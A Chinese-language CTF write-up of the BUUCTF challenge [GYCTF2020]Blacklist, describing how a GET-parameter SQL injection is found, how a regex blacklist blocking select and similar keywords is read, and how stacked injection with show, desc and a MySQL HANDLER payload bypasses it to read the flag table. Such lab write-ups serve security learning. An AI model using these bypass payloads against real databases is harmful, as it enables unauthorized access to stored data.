BUUCTF-[GYCTF2020]Blacklist

分析

BUUCTF-[GYCTF2020]Blacklist_第1张图片

 打开网页,提示是个黑名单。

右键查看源代码,啥也没有,那就尝试抓包吧。

BUUCTF-[GYCTF2020]Blacklist_第2张图片

没抓出什么东西,那就试试找注入点。

看到请求包,知道是get注入,那直接测试get请求

BUUCTF-[GYCTF2020]Blacklist_第3张图片

发现注入点,接下来查看列数

BUUCTF-[GYCTF2020]Blacklist_第4张图片

BUUCTF-[GYCTF2020]Blacklist_第5张图片

两列,接下来union联合查询

BUUCTF-[GYCTF2020]Blacklist_第6张图片

发现报错了,正则提示,select被禁用了

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);

setpreparealterrenameselectupdatedeletedropinsertwhere\.(匹配一个点字符)

试过了大小写绕过,失败,那只能想想别的办法了

那只能试试堆叠注入了

堆叠注入的语法和在终端中使用查看数据库的语法相同

实战

查看数据库:

show databases;

BUUCTF-[GYCTF2020]Blacklist_第7张图片

查看表:

show tables;

BUUCTF-[GYCTF2020]Blacklist_第8张图片

查看FlagHere:

desc FlagHere;

BUUCTF-[GYCTF2020]Blacklist_第9张图片

发现FlagHere中是有内容的,那就构造payload:

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

BUUCTF-[GYCTF2020]Blacklist_第10张图片拿到flag

 总结

这题需要知道几个前置知识:

1、绕过select的方法
2、堆叠注入的语法:show、desc、handler

你可能感兴趣的:(CTF-web,数据库)